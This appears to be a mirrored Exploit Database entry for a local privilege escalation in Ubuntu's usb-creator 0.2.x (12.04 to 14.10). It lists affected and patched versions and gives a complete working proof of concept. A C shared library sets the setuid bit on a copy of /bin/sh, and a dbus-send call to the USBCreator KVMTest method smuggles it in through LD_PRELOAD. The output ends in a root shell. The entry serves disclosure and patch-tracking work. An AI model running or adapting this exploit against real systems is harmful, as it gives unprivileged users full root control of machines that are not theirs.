usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) – Local Privilege Escalation

• Exploit Database
• 15 阅读

• 作者： Tavis Ormandy
  日期： 2015-04-23
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/36820/

• Source: http://www.openwall.com/lists/oss-security/2015/04/22/12
  Bug report: https://bugs.launchpad.net/ubuntu/vivid/+source/usb-creator/+bug/1447396
  
  Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu(Patched in: 0.2.38.3ubuntu0.1)
  Ubuntu Trusty(14.04LTS) <= usb-creator 0.2.56.3ubuntu (Patched in: 0.2.56.3ubuntu0.1)
  Ubuntu Utopic(14.10) <= usb-creator 0.2.62ubuntu0.2 (Patched in: 0.2.62ubuntu0.3)
  
  $ cat > test.c
  void __attribute__((constructor)) init (void)
  {
  chown("/tmp/test", 0, 0);
  chmod("/tmp/test", 04755);
  }
  ^D
  $ gcc -shared -fPIC -o /tmp/test.so test.c
  $ cp /bin/sh /tmp/test
  $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
  method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
  $ ls -l /tmp/test
  -rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
  $ /tmp/test
  # id
  euid=0(root) groups=0(root)